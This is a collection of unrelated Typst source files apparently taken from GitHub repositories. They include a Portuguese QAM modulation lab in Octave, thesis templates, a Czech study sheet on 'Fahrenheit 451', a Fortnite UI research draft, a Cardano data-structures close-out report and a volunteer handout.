A primeira etapa do desenvolvimento, é a definição das variáveis que serão utilizadas nos processos de modulação e demodulação do sinal QAM. Desta forma, foi definido os seguintes parâmetros:
#sourcecode[```matlab
clc; close all; clear all;
pkg load communications;
% Configuração de parâmetros
% Definindo o n° de símbolos QAM
M = 16;
% Definindo o fator de upsampling
n = 100;
% Definindo a taxa de bits de TX
Rb = 1e4;
% Definindo o período de bit
Tb = 1 / Rb;
% Definindo á frequência de amostragem
Fs = Rb * n;
% Definindo á Frequência de portadora
fc = Fs / 50;
% Definindo o Período de amostragem:
Ts = 1 / Fs;
% Definindo o SNR do sinal de transmissão:
SNR = 12;
```]
Em seguida, foi estruturado também o vetor de dados que será utilizado para a modulação do sinal QAM, para isso, foi gerado um vetor de dados aleatórios com 1000 elementos.
#sourcecode[```matlab
% Criando o vetor de dados:
Vector_length = 1000;
info = randi([0 M-1], 1, Vector_length);
```]
=== Modualando o sinal QAM:
Uma vez com os parâmetros definidos e o vetor de dados gerado, o primeiro passo foi realizra a modulação do sinal QAM, onde o sinal foi modulado utilizando a função #highlight[qammod] do pacote de comunicações do octave. Em seguida, os dados gerados pela função de modulação QAM podem ser visualizados através de um diagrama de constelação, utilizando a função #highlight[scatterplot].
#sourcecode[```matlab
% Modulação QAM:
info_mod = qammod(info, M);
% Modulando o sinal em QAM:
scatterplot(info_mod);
title('Diagrama de constelação QAM do sinal');
xlim([-5 5]);
ylim([-5 5]);
grid on;
% Criando o vetor de tempo com base no comprimento da informação:
t = [0:Ts:(length(info_mod) * Tb - Ts)];
```]
Com base no diagrama de constelação gerado, é possível visualizar a representação dos símbolos QAM no plano complexo, onde cada símbolo é representado por um ponto no plano complexo, sendo a parte real do sinal representada no eixo x e a parte imaginária do sinal representada no eixo y:
#figure(
figure(
rect(image("./pictures/2.1.png")),
numbering: none,
caption: [Diagrama de constelação QAM do sinal Recebido]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
=== Realizando o Upsampling do sinal:
Em seguida, foi realizado o processo de upsampling do sinal, onde o sinal modulado foi expandido para a taxa de amostragem desejada. O objetivo desse processo é aumentar a taxa de amostragem do sinal, oque melhora a qualidade do sinal e facilita a filtragem do sinal.
#sourcecode[```matlab
% Upsample do sinal:
% Upsampling do sinal modulado
info_mod_up = upsample(info_mod, n); % Upsampling
filtro_NRZ = ones(1, n); % Filtro NRZ
info_mod_tx = filter(filtro_NRZ, 1, info_mod_up); % Filtragem
```]
=== Modulando o sinal para transmissão:
Na sequencia, com o sinal modulado e expandido, foi realizado a modulação do sinal para a transmissão, onde o sinal foi modulado utilizando a representação complexa, onde o sinal foi multiplicado pela portadora complexa.
#sourcecode[```matlab
% Modulando para transmissão:
% Modulação usando a representação complexa
portadora = exp(1j * 2 * pi * fc * t(1:length(info_mod_tx)));
sinal_transmitido = real(info_mod_tx .* portadora);
% Plotando o sinal transmitido
figure;
subplot(211);
plot(t(1:length(sinal_transmitido)), sinal_transmitido, 'LineWidth', 2);
title('Sinal Transmitido');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
ylim([-5 5]);
% Adicionando ruído ao sinal transmitido:
sinal_recebido = awgn(sinal_transmitido, SNR);
% Plotando o sinal recebido com ruído
subplot(212);
plot(t(1:length(sinal_recebido)), sinal_recebido, 'LineWidth', 2);
title('Sinal Recebido com Ruído');
xlabel('Tempo (s)');
ylabel('Amplitude');
xlim([0 10 * Tb]);
ylim([-5 5]);
```]
Podemos ver no plot do sinal transmitido e do sinal recebido com ruído, onde é possível observar a diferença entre o sinal transmitido e o sinal recebido, e a presença do ruído no sinal recebido:
#figure(
figure(
rect(image("./pictures/2.2.png")),
numbering: none,
caption: [Diagrama de constelação QAM do sinal Recebido]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
=== Demodulando o sinal recebido:
Para realizar a demodulação do sinal recebido, foi utilizado a representação complexa, onde o sinal recebido foi multiplicado pela própria portadora complexa, retornando o sinal modulado para a banda base.
#sourcecode[```matlab
% Demodulação do sinal de recepção:
% Demodulação usando a representação complexa
portadora_rx = exp(-1j * (2 * pi * fc * t(1:length(sinal_recebido))));
sinal_demodulado = sinal_recebido .* portadora_rx;
```]
=== Filtrando o sinal demodulado:
Em seguida, o sinal demodulado foi filtrado utilizando um filtro passa-baixa para recuperar o sinal original, e o sinal foi filtrado utilizando a função #highlight[filter] do octave com base nos parâmetros definidos anteriormente.
#sourcecode[```matlab
% Filtrando o sinal demodulado:
% Filtragem passa-baixa para recuperar o sinal original
filtro_passa_baixa = fir1(100, fc/(Fs/2));
info_rx_filtered = filter(filtro_passa_baixa, 1, sinal_demodulado);
```]
=== Realizando o downsampling do sinal:
Uma vez com o sinal filtrado, podemos realizar o downsampling do sinal para retornar a taxa de amostragem original, onde o sinal foi reduzido para a taxa de amostragem original, e o excesso de amostras foi removido.
#sourcecode[```matlab
% Realizando o downsampling do sinal:
% Downsampling para retornar à taxa de amostragem original
info_rx_down = downsample(info_rx_filtered, n);
% Remover o excesso de amostras devido ao filtro
info_rx_down = info_rx_down(ceil(n/2):end);
% Plotando as componentes real e imaginária do sinal recuperado
figure;
subplot(211);
plot(real(info_rx_down), 'LineWidth', 2, 'Color', 'k');
title('Componente Real - Sinal Recebido');
xlabel('Amostras');
ylabel('Amplitude');
grid on;
subplot(212);
plot(imag(info_rx_down), 'LineWidth', 2, 'Color', 'r');
title('Componente Imaginária - Sinal Recebido');
xlabel('Amostras');
ylabel('Amplitude');
grid on;
```]
Com o sinal reduzido, podemos ver no dominio do tempo as componentes de fase e quadratura do sinal recebido, onde é possível observar a diferença entre o sinal transmitido e o sinal recebido, e a presença do ruído no sinal recebido:
#figure(
figure(
rect(image("./pictures/2.3.png")),
numbering: none,
caption: [Diagrama de constelação QAM do sinal Recebido]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
=== Reconstruindo o sinal QAM Transmitido:
Com o sinal recebido já reconstruido, podemos realizar seu plot no diagrama de constelação, para verificar a diferença entre o sinal transmitido e o sinal recebido.
#sourcecode[```matlab
% Reconstruindo o sinal QAM Transmitido:
% Reconstrução do sinal QAM
info_rx = real(info_rx_down) + 1i * imag(info_rx_down);
% Plotando os diagramas de constelação
scatterplot(info_mod);
xlim([-5 5]);
ylim([-5 5]);
title('Diagrama de Constelação do Sinal Transmitido');
grid on;
scatterplot(info_rx);
xlim([-5 5]);
ylim([-5 5]);
title('Diagrama de Constelação do Sinal Recebido');
grid on;
```]
Na figura abaixo, é possivel visualizar o sinal antes de ser transmitido, onde os pontos estão bem definidos e separados, oque indica que o sinal está bem modulado:
#figure(
figure(
rect(image("./pictures/2.4.png")),
numbering: none,
caption: [Diagrama de constelação QAM do sinal Recebido]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
Já na figura abaixo, podemos ver o sinal após a recepção, onde os pontos estão mais próximos e dispersos, oque indica que o sinal foi afetado pelo ruído e interferências, e a qualidade do sinal foi reduzida:
#figure(
figure(
rect(image("./pictures/2.5.png")),
numbering: none,
caption: [Diagrama de constelação QAM do sinal Recebido]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
=== Comparação das componentes real e imaginária:
Podemos também realizar a comparação do sinal no dominio do tempo nas componentes real e imaginária, onde é possível observar a diferença entre o sinal transmitido e o sinal recebido, e a presença do ruído no sinal recebido, isso pode ser visualizado através do script abaixo:
#sourcecode[```matlab
figure;
subplot(211);
plot(t(1:length(info_mod_tx)), real(info_mod_tx), 'LineWidth', 2, 'k');
hold on;
plot(t(1:length(info_rx_filtered)), real(info_rx_filtered), 'LineWidth', 2, 'b');
title('Comparação da Componente Real');
xlabel('Tempo (s)');
ylabel('Amplitude');
legend('Transmitida', 'Recebida');
xlim([0 10 * Tb]);
ylim([-5 5]);
grid on;
subplot(212);
plot(t(1:length(info_mod_tx)), imag(info_mod_tx), 'LineWidth', 2, 'r');
hold on;
plot(t(1:length(info_rx_filtered)), imag(info_rx_filtered), 'LineWidth', 2, 'b');
title('Comparação da Componente Imaginária');
xlabel('Tempo (s)');
ylabel('Amplitude');
legend('Transmitida', 'Recebida');
xlim([0 10 * Tb]);
ylim([-5 5]);
grid on;
```]
A figura abaixo apresenta as diferenças entre as componentes real e imaginária do sinal transmitido e do sinal recebido, onde é possível observar a diferença entre o sinal transmitido e o sinal recebido, e a presença do ruído no sinal recebido:
#figure(
figure(
rect(image("./pictures/2.6.png")),
numbering: none,
caption: [Diagrama de constelação QAM do sinal Recebido]
),
caption: figure.caption([Elaborada pelo Autor], position: top)
)
= Conclusão:
A partir dos conceitos vistos, do desenvolvimento e dos resultados obtidos, é possível concluir que a modulação QAM é uma técnica de modulação digital que permite transmitir dados de forma eficiente e robusta, onde é possível transmitir múltiplos bits por símbolo, oque aumenta a eficiência espectral do sinal.
Também é possivel concluir que com uma maior SNR do sinal de transmissão, é possível obter um sinal de melhor qualidade, onde o sinal recebido é mais próximo do sinal transmitido, e a qualidade do sinal é melhor.
E partir de um valor de SNR suficientemente alto, podemos aumentar a banda de transmissão do canal sem aumentar a taxa de erro de bit, oque permite transmitir mais dados em um mesmo canal de comunicação, além de não consumir mais energia na transmissão.
= Referências Bibliográficas:
Para o desenvolvimento deste relatório, foi utilizado o seguinte material de referência:
- #link("https://www.researchgate.net/publication/287760034_Software_Defined_Radio_using_MATLAB_Simulink_and_the_RTL-SDR")[Software Defined Radio Using MATLAB & Simulink and the RTL-SDR, de <NAME>]
|
https://github.com/emanuel-kopp/uzh-mnf-phd | https://raw.githubusercontent.com/emanuel-kopp/uzh-mnf-phd/main/template/chapters/chapter_1.typ | typst | #import "@local/uzh-mnf-phd:0.1.0": chapter
#show: chapter.with(
title: text()[Title of your first chapter, of which maybe a part must be _italic_],
authors: (
(name: "First Author", affiliation: [1, 2]),
(name: "Second Author", affiliation: 3),
(name: "Third Author", affiliation: 1),
(name: "Last Author", affiliation: 2),
),
affiliations: (
(num: 1, name: "First Affiliation"),
(num: 2, name: "Second Affiliation"),
(num:3, name: "Third Affiliation")
),
header: "Chapter 1: Short title as header",
abstract: lorem(100)
)
== Introduction
Cite like this: @Aarssen_1997, or @Aarssen_1997@Barot_etal_2017 for multiple citations. Change citation style in the `main.typ` file.
#line(length: 100%)
Include figures like this:
#figure(
image("../figures/Soya.svg"),
caption: [A figure in your Chapter 1],
)<figure_1>
== Materials and Methods
#lorem(100) |
|
https://github.com/chamik/gympl-skripta | https://raw.githubusercontent.com/chamik/gympl-skripta/main/cj-dila/4-451-stupnu-fahrenheita.typ | typst | Creative Commons Attribution Share Alike 4.0 International | #import "/helper.typ": dilo, hrule
#dilo("451 stupňů Fahrenheita", "fahrenheit", "<NAME>", "<NAME>", "2. p. 20. st. až současnost 𐠒2012; Fikce, antiutopie", "USA", "1953", "epika", "sci-fi román")
#columns(2, gutter: 1em)[
*Téma*\
Myšlenkové probuzení člověka, který aktivně slouží režimu, který vymývá mozky a drží obyvatele pod kontrolou.
*Motivy*\
dystopický stát, válka, kontrola obyvatelstva/informací, intelektuální procitnutí
*Časoprostor*\
místo není uvedeno (nejspíš USA), někdy v budoucnosti
*Postavy* \
_<NAME>_ -- hlavní hrdina, požárník \
_Clarissa_ -- mladá dívka, která Montaga donutí se zamýšlet nad světem \
_Mildred_ -- manželka Montaga, podlehla vymývání mozků \
_Faber_ -- bývalý profesor, vystrašený režimem, pomáhá Montagovi \
_Beatty_ -- velitel požárníků, podezírá Montaga, nakonec v konfliktu
*Kompozice* -- chronologická
*Vypravěč* -- vševědoucí, er-forma
*Jazykové prostředky*\
er-forma, přímá řeč, spisovná čeština, profesní slang, květnaté popisy, metafory,
#colbreak()
*Obsah*\
Guy Montag je požárník budoucnosti; místo toho, aby oheň hasil, podpaluje knihy (z toho název - při teplotě 451° Fahrenheita hoří papír) a pomáhá tak režimu držet kontrolu nad obyvatelstvem. Jednoho dne potká Clarissu, která mu pomůže vytrhnout se z monotónnosti života a vzbouřit se zachráněním knihy před ohněm. Doma má manželku Mildred, která tráví všechen svůj čas s “rodinkou” a už není schopná racionálně uvažovat. Mezitím co je Clarissa i s její rodinou odstraněna, začne něco větřit jeho velitel Beatty. Zjistí se, že doma ukrývá mnoho knih a s pomocí Fabera, bývalého a vystrašeného profesora, se dá před “spravedlností” na útěk. Ten se mu povede a setká s dalšími uprchlíky, kteří představují různé knihy; Guy se jedním takovým stal. Na město na konci dopadá atomová bomba.
*Literárně historický kontext*\
Na pozadí studené války, moderní technologie, hrozba atomové apokalypsy. Velmi brzy přeloženo do češtiny, ovšem obratem zakázáno režimem
]
#pagebreak()
*Ukázka*
„Vystavujete se nebezpečí.“
„To je výhoda, kterou má člověk, když umírá. Když nemáte co ztratit, riskujete podle libosti.“
„Teď jste řekl něco zajímavého, aniž jste to četl,“ zasmál se Faber.
„Takovéhle věci jsou v knihách? Vždyť to mi jen tak přinesla slina na jazyk!“
„Tím líp. Nevymyslel jste si to ani pro mne, ani pro někoho jiného, dokonce ani pro sebe ne.“
#hrule()
Montag nebyl s to udělat jediný pohyb. S ohněm přišlo obrovské zemětřesení, srovnalo dům se zemí, někde pod ním ležela Mildred a celý jeho život a on se nedokázal pohnout. Zemětřesení mu dosud otřásalo, chvělo a zmítalo nitrem a on stál s koleny podklesávajícími pod velikým nákladem únavy, zmatenosti a potupy a dovolil Beattymu, aby ho udeřil, aniž zdvihl ruku k obraně.
„Montagu, ty idiote, ty pitomý blázne, jaký jsi k tomu měl důvod?“
Montag neslyšel, byl daleko, v duchu prchal, zmizel a zanechal svoje mrtvé, sazemi pomazané tělo, ať vrávorá před jiným bláznivým šílencem.
„Montagu, uteč odtamtud!“ řekl Faber.
Montag naslouchal. Beatty ho praštil do hlavy, až se zamotal a klesl nazad. Zelený náboj, v němž šeptal a volal Faberův hlas, vypadl na chodník. Beatty po něm chňapl, zašklebil se, zvedl ho. Přidržel si ho k uchu, napůl uvnitř, napůl ven.
Montag slyšel vzdálený volající hlas: „Montagu, nestalo se ti nic?“
Beatty vytáhl zelený náboj z ucha a strčil si ho do kapsy. „Aha — tak ono v tom vězí něco víc, než by mě napadlo. Viděl jsem, jak nakláníš hlavu a posloucháš. Nejdřív jsem si myslel, že máš mušličku. Ale když jsi potom najednou zchytřel, hned mi to bylo divné. Po téhle stopě půjdeme a na toho tvého přítele si posvítíme.“
„Ne!“ vykřikl Montag.
Trhl bezpečnostní pojistkou plamenometu. Beatty pohyb jeho prstů postřehl a oči se mu
maloučko rozšířily. Montag v nich spatřil překvapení a pohlédl na své ruce, aby zjistil, co to zas provedly. Když na to později vzpomínal, nedokázal posoudit, jestli mu konečný popud k vraždě daly jeho ruce nebo Beattyho reakce na jejich pohyb. Kolem uší mu zahřmělo poslední zadunění valící se laviny, ale to už se ho nedotklo.
#pagebreak() |
https://github.com/typst-doc-cn/tutorial | https://raw.githubusercontent.com/typst-doc-cn/tutorial/main/src/basic/other-file.typ | typst | Apache License 2.0 |
一段文本
#set text(fill: red)
另一段文本
|
https://github.com/howardlau1999/sysu-thesis-typst | https://raw.githubusercontent.com/howardlau1999/sysu-thesis-typst/master/functions/outline.typ | typst | MIT License | #import "numbering.typ": *
#import "style.typ": *
#let chineseoutline(title: "目录", depth: none, indent: false) = {
heading(title, numbering: none, outlined: false)
locate(it => {
let elements = query(heading.where(outlined: true).after(it), it)
for el in elements {
// Skip list of images and list of tables
if partcounter.at(el.location()).first() < 20 and el.numbering == none { continue }
// Skip headings that are too deep
if depth != none and el.level > depth { continue }
let maybe_number = if el.numbering != none {
if el.numbering == chinesenumbering {
chinesenumbering(..counter(heading).at(el.location()), location: el.location())
} else {
numbering(el.numbering, ..counter(heading).at(el.location()))
}
h(0.5em)
}
let line = {
if indent {
h(1em * (el.level - 1 ))
}
if el.level == 1 {
v(0.5em, weak: true)
}
if maybe_number != none {
style(styles => {
let width = measure(maybe_number, styles).width
box(
width: lengthceil(width),
link(el.location(), if el.level == 1 {
strong(maybe_number)
} else {
maybe_number
}
))
})
}
if el.level == 1 {
strong(el.body)
} else {
el.body
}
// Filler dots
if el.level == 1 {
box(width: 1fr, h(10pt) + box(width: 1fr) + h(10pt))
} else {
box(width: 1fr, h(10pt) + box(width: 1fr, repeat[.]) + h(10pt))
}
// Page number
let footer = query(selector(<__footer__>).after(el.location()), el.location())
let page_number = if footer == () {
0
} else {
counter(page).at(footer.first().location()).first()
}
link(el.location(), if el.level == 1 {
strong(str(page_number))
} else {
str(page_number)
})
linebreak()
v(-0.2em)
}
line
}
})
} |
https://github.com/Nianyi-GSND-Projects/GSND-5130-GP2 | https://raw.githubusercontent.com/Nianyi-GSND-Projects/GSND-5130-GP2/master/Thesis/Thesis.typ | typst | // Preambles
#set page(paper: "us-letter", margin: 0.8in)
#set par(justify: true)
#set cite(style: "alphanumeric")
// #set text(font: "Times New Roman")
#show link: set text(size: 0.9em, font: "Consolas")
// Title
#(body => {
set align(left);
set text(size: 19pt, weight: "bold");
v(1em);
body;
})[Inspecting the Usability Issues of _Fortnite: Battle Royale_'s Graphical Interface];
#{
v(-0.5em);
let member(name: "", localname: "", mail: "") = {
show link: set text(font: "Consolas");
set align(center);
text()[#name (#localname)];
linebreak();
link("mailto:" + mail)[<#mail>];
};
table(
columns: (1fr, 1fr),
stroke: none,
member(
name: "<NAME>",
localname: "ص<NAME>ظامالدینی",
mail: "<EMAIL>"
),
member(
name: "<NAME>",
localname: "王念一",
mail: "<EMAIL>"
)
);
}
// Abstract
#{
line(length: 100%, stroke: 0.5pt);
(body => {
set align(center);
show heading: set text(size: 0.9em);
v(-0.5em);
heading(level: 1)[#smallcaps(body)];
v(0.5em);
})[Abstract];
par[
The 2017 video game _Fortnite_ developed by _Epic Games_ is one of the most popular battle royale game across the globe.
Albeit widely receiving positive reviews, there are players complaining about the game's graphical interface.
To investigate what gives the players bad experience, we conducted a research targeting on players who are new to this game.
The players would play a round of the game while doing think-aloud protocols, then take surveys to reflect their experience about the game's graphical interface.
By analyzing the collected data, we could gain guidance on possible improvements of _Fortnite_'s UI design, as well as insights for similar games in the future.
];
line(length: 100%, stroke: 0.5pt);
}
// Context
#columns(2)[
= Introduction
= Related Works
]
// Bibliography
#bibliography("bibliography.bib",
full: true,
style: "ieee"
) |
|
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/optimal-ovgu-thesis/0.1.0/template/expose.typ | typst | Apache License 2.0 | #import "metadata.typ": title, author, lang, document-type, city, date, organisation
#import "@preview/optimal-ovgu-thesis:0.1.0": oot-expose
#oot-expose(
title: title,
author: author,
lang: lang,
document-type: document-type,
city: city,
date: date,
organisation: [],
)[
#include "chapter/01-Einleitung.typ"
#pagebreak()
#text(weight: "semibold", "Bibliography")
#bibliography("thesis.bib")
] |
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/cetz/0.0.2/lib.typ | typst | Apache License 2.0 | #let version = (0,0,2)
#import "canvas.typ": canvas
#import "draw.typ"
#import "coordinate.typ"
#import "vector.typ"
#import "matrix.typ"
#import "tree.typ"
// Libraries
#import "lib/axes.typ"
#import "lib/plot.typ"
#import "lib/chart.typ"
#import "lib/palette.typ"
// These are aliases to prevent name collisions
// You can use them for importing the module into the
// root namespace:
// #import "@.../cetz": canvas, cetz-draw
#let cetz-draw = draw
#let cetz-tree = tree
#let cetz-vector = vector
#let cetz-matrix = matrix
|
https://github.com/Anastasia-Labs/project-close-out-reports | https://raw.githubusercontent.com/Anastasia-Labs/project-close-out-reports/main/f10-trifecta-of-data-structures-closeout-report/trifecta-of-data-structures.typ | typst | #let image-background = image("images/background-1.jpg", height: 100%, fit: "cover")
#let image-foreground = image("images/Logo-Anastasia-Labs-V-Color02.png", width: 100%, fit: "contain")
#let image-header = image("images/Logo-Anastasia-Labs-V-Color01.png", height: 75%, fit: "contain")
#let fund-link = link("https://projectcatalyst.io/funds/10/f10-osde-open-source-dev-ecosystem/anastasia-labs-the-trifecta-of-data-structures-merkle-trees-tries-and-linked-lists-for-cutting-edge-contracts")[Catalyst Proposal]
#let git-link = link("https://github.com/Anastasia-Labs/data-structures")[Main Github Repo]
#let taste-test-link = link("https://sundae.fi/posts/sundaeswap-presents-the-taste-test")[Taste Test]
#let single-asset-staking-link = link("https://github.com/Anastasia-Labs/single-asset-staking
")[Single Asset Staking]
#set page(
background: image-background,
paper :"a4",
margin: (left : 20mm,right : 20mm,top : 40mm,bottom : 30mm)
)
// Set default text style
#set text(15pt, font: "Barlow")
#v(3cm) // Add vertical space
#align(center)[
#box(
width: 60%,
stroke: none,
image-foreground,
)
]
#v(1cm) // Add vertical space
// Set text style for the report title
#set text(20pt, fill: white)
// Center-align the report title
#align(center)[#strong[PROJECT CLOSE-OUT REPORT]]
#v(5cm)
// Set text style for project details
#set text(13pt, fill: white)
// Display project details
#table(
columns: 2,
stroke: none,
[*Project Number*], [1000013],
[*Project manager*], [<NAME>],
[*Date Started*], [Oct 8, 2023],
[*Date Completed*], [May 31, 2024],
)
// Reset text style to default
#set text(fill: luma(0%))
// Display project details
#show link: underline
#set terms(separator:[: ],hanging-indent: 18mm)
#set par(justify: true)
#set page(
paper: "a4",
margin: (left: 20mm, right: 20mm, top: 40mm, bottom: 35mm),
background: none,
header: [
#align(right)[
#image("images/Logo-Anastasia-Labs-V-Color01.png", width: 25%, fit: "contain")
]
#v(-0.5cm)
#line(length: 100%, stroke: 0.5pt)
],
)
#v(20mm)
#show link: underline
#show outline.entry.where(level: 1): it => {
v(6mm, weak: true)
strong(it)
}
// Initialize page counter
#counter(page).update(0)
#outline(depth:2, indent: 1em)
#pagebreak()
#set text(size: 11pt) // Reset text size to 10pt
#set page(
footer: [
#set text(size: 11pt, fill: gray)
#line(length: 100%, stroke: 0.5pt)
#v(-3mm)
#align(center)[
*Anastasia Labs – The Trifecta Of Data Structures*
#v(-3mm)
Project Closeout Report
#v(-3mm)
// Copyright ©
// #set text(fill: black)
// Anastasia Labs
]
#v(-6mm)
#align(right)[
#counter(page).display( // Page numbering
"1/1",
both: true,
)
]
]
)
// Display project details
#set terms(separator:[: ],hanging-indent: 18mm)
/ Project Name: The Trifecta of Data Structures
/ URL: #link("link")[#fund-link]
#v(10pt)
= List of KPIs
#v(10pt)
== Challenge KPIs
\
+ *Enhancing scalability of Cardano:* Given the inherent constraints of the blockchain, such as the ledger rules and transaction size limitations, we challenged ourselves to build advanced data structures (Merkle trees, Tries, and Linked Lists). These structures enable larger and more complex smart contract applications, which are significant to enhancing the scalability of DApps on Cardano.
+ *Addressing insufficient onchain data structures on Cardano:* Recognising the absence of shared design patterns and limited availability of practical examples for scaling solutions in the Cardano community. We implemented advanced data structures (Merkle trees, Tries, and Linked Lists in Aiken and Plutarch) and provided comprehensive, well structured and easy to understand documentation and tutorials, thereby enriching the educational resources available to developers whilst providing efficient and scalable data structures for Cardano smart contracts as well as serving as a valuable resource for developers looking to understand and implement these data structures in their own projects.
+ *Ensuring code quality and production-ready resources:* The project upheld high standards of code quality, adherence to best practices and readiness for production in the implementation of these structures through thorough code reviews and unit tests, to ensure reliability and efficiency for the developer community.
\
== Project KPIs
List of project KPIs and how the project addressed them:
\
\
+ *Provide generic and production-ready implementations:* The team developed robust, optimized, and well-tested implementations of Merkle trees, Tries, and Linked Lists in both Aiken and Plutarch, providing functional and efficient data structures for real-world smart contract applications.
+ *Ensure robustness through rigorous testing:* The project ensured the reliability of the data structures through comprehensive code review and unit testing, validating their correctness and efficiency.
+ *Make the project fully open-source:* All developed code, documentation, tutorials and examples of validator scripts to validate and showcase these library implementations have been made publicly available under an MIT license and can be found in the #git-link.
#pagebreak()
#v(10mm)
= Key achievements
#v(10mm)
- *Implementation of advanced data dtructures:* We successfully developed and implemented advanced data structures (Merkle trees, Tries, and Linked Lists) in Aiken and Plutarch. These structures enhance the scalability of DApps on Cardano by allowing for more efficient use of the limited 16kb transaction size and the single UTXO model.
- *Extensive documentation and tutorials:* We are proud to have enriched the Cardano community with educational resources by providing comprehensive documentation and tutorials to help developers understand and utilize these data structures in their projects.
// e swap and single asset staking for Sundae Labs linkedlists and taste test
// https://sundae.fi/posts/sundaeswap-presents-the-taste-test
// https://github.com/Anastasia-Labs/single-asset-staking
- *Collaboration with Sundae Labs:* We worked closely with the Sundae Labs team to integrate our linked list implementation into their #single-asset-staking-link library and the Sundae Labs "#taste-test-link" mechanism. This collaboration helped showcase the practical applications of our data structure work and its benefits for real-world Cardano projects.
#v(10mm)
= Key learnings:
\
- *Efficient data integrity with Merkle Trees:* We gained a deep understanding of constructing and verifying Merkle proofs, which enhanced our ability to implement secure and efficient data validation processes.
- *Flexibility and efficiency with Linked Lists:* Leveraging Plutarch's functional programming paradigm and Aiken's robust type system to create Linked Lists that are both efficient and easy to maintain, highlighted the importance of designing for efficient insertion and deletion operations.
- *Managing mutable data with Tries:* We learned to optimize storage by sharing common prefixes and implementing fast update and lookup operations. This expertise was further demonstrated through our collaboration with Sundae Labs.
- *Further experience with Plutarch and Aiken:* We got to appreciate Plutarch’s ability to provide more efficient and precise control over data structures, facilitating the construction of intricate data structures and optimizing the performance of smart contracts on the Cardano blockchain because it oprates at a much lower level. Aiken's expressive syntax and strong typing system also contributed to writing more clear and maintainable code.
#v(10mm)
= Next steps
\
*Continuous improvement:* Based on the feedback and insights from the community, we plan to continue refining and optimizing our implementations of Merkle trees, Tries, and Linked Lists in both Aiken and Plutarch.
*Community engagement and collaboration:* We intend to monitor various metrics on GitHub as indicators of community interest and adoption such as tracking the number of stars, forks, pull requests and contributions in the repository. Feedbacks, discussions, and questions on the project’s GitHub repository will also be monitored to assess the level of community engagement with the project. Additionally, we will explore opportunities for further collaboration with other Cardano projects, building on our successful integration with Sundae Labs, to showcase the practical applications of our advanced data structure implementations.
#v(10mm)
= Final thoughts/comments:
\
We are incredibly proud to add open source libraries to the Cardano community. We believe our implementations of advanced data structures in Aiken and Plutarch (and hopefully other languages/frameworks in the future) not only enhance the scalability of DApps on Cardano, but also serve as a valuable resource for the developer community. We look forward to seeing how these tools are used and adopted in future Cardano projects.
#v(10mm)
= Resources
Links to other relevant project sources or documents:
#v(5mm)
#box(height: 100pt, columns(3, gutter: 1pt)[
== Project
\
#link("https://github.com/Anastasia-Labs/data-structures")[Main Github Repo]
#v(1mm)
#fund-link /// Linkd to Catalyst
== Plutarch
\
#link("https://github.com/Anastasia-Labs/plutarch-merkle-tree")[Merkle trees] \
#v(1mm)
#link("https://github.com/Anastasia-Labs/plutarch-linked-list")[Linked Lists]
#v(1mm)
#link("https://github.com/Anastasia-Labs/plutarch-trie")[Tries]
== Aiken
\
#link("https://github.com/Anastasia-Labs/aiken-merkle-tree")[Merkle trees] \
#v(1mm)
#link("https://github.com/Anastasia-Labs/aiken-linked-list")[Linked Lists] \
#v(1mm)
#link("https://github.com/Anastasia-Labs/aiken-trie")[Tries]
])
#v(10mm)
#align(center)[== Closeout Video]
#align(center)[#link("https://www.loom.com/share/4ab18822006f45878a2c6020c667ac48?sid=3abb6ecc-c915-473e-ad57-5e0a7abc1b34")[ The Trifecta Of Data Structures-Closeout Video]] |
|
https://github.com/typst/templates | https://raw.githubusercontent.com/typst/templates/main/icicle/template/main.typ | typst | MIT No Attribution | #import "@preview/icicle:0.1.0": game
#show: game
// Move with WASD.
|
https://github.com/dangh3014/postercise | https://raw.githubusercontent.com/dangh3014/postercise/main/themes/themes.typ | typst | MIT License | #import "/themes/basic.typ"
#import "/themes/better.typ"
#import "/themes/boxes.typ" |
https://github.com/andrin-geiger/hslu_template_typst | https://raw.githubusercontent.com/andrin-geiger/hslu_template_typst/master/chapters/03_concept.typ | typst | = Ideen und Konzepte
#pagebreak() |
|
https://github.com/kdog3682/2024-typst | https://raw.githubusercontent.com/kdog3682/2024-typst/main/src/student-teaching-volunteer-handout.typ | typst | // the json file
{
"traits": [
{
"characteristics": ["responsible", "patient", "caring"],
"action": "try your best for this"
},
{
"characteristics": ["annoyed", "sarcastic"],
"action": "try to minimize"
}
],
"guidelines": [
{
"title": "Role Model",
"desc": "The children will address you as Mr. Sam."
},
{
"title": "Dress Neatly",
"desc": "Wear a tucked-in shirt."
},
{
"title": "Balance",
"desc": "Free and fun. Professional and responsible. You can be both."
}
]
}
#import "@preview/fletcher:0.4.2" as fletcher: node, edge
#import fletcher.shapes: diamond
#let fletch(items, b) = {
fletcher.diagram(
node-stroke: 0.5pt,
edge-stroke: 1pt,
node((0,0), items, corner-radius: 3pt, stroke: black, inset: 10pt, outset: 10pt),
edge("-|>"),
node((0,1.5), align(center, b), outset: 5pt, stroke: none)
)
}
#let abc(o) = {
let (characteristics, action) = o
let items = list(..characteristics)
let actionContent = text(weight: "bold", action)
fletch(items, actionContent)
}
Volunteer Opportunity
Recording a math
Student Teaching
2 hours of volunteer service
30 minutes of
reading a dialogue
Sunday 5/55/2024 from
#{
let data = json("data.json")
let t = data.traits.at(0)
let items = data.traits.map(abc)
align(center, block(width: 50%, stack(..items, dir: ltr, spacing: 1fr)))
let guidelines = data.guidelines
let create(o) = {
[=== #o.title]
[#o.desc]
v(10pt)
}
let guidelineContent = enum(..guidelines.map(create))
v(30pt)
block(width: 60%, guidelineContent)
}
|
|
https://github.com/lucannez64/Notes | https://raw.githubusercontent.com/lucannez64/Notes/master/Maths_Devoir_Maison_5.typ | typst | #import "template.typ": *
// Take a look at the file `template.typ` in the file panel
// to customize this template and discover how it works.
#show: project.with(
title: "Maths Devoir Maison 5",
authors: (
"<NAME>",
),
date: "8 Janvier, 2024",
)
#set heading(numbering: "1.1.")
== Exercice 1
<exercice-1>
==== Question 1
<question-1>
#block[
#set enum(numbering: "a.", start: 2)
+
]
==== Question 2
<question-2>
#block[
#set enum(numbering: "a.", start: 1)
+
]
==== Question 3
<question-3>
#block[
#set enum(numbering: "a.", start: 3)
+
]
==== Question 4
<question-4>
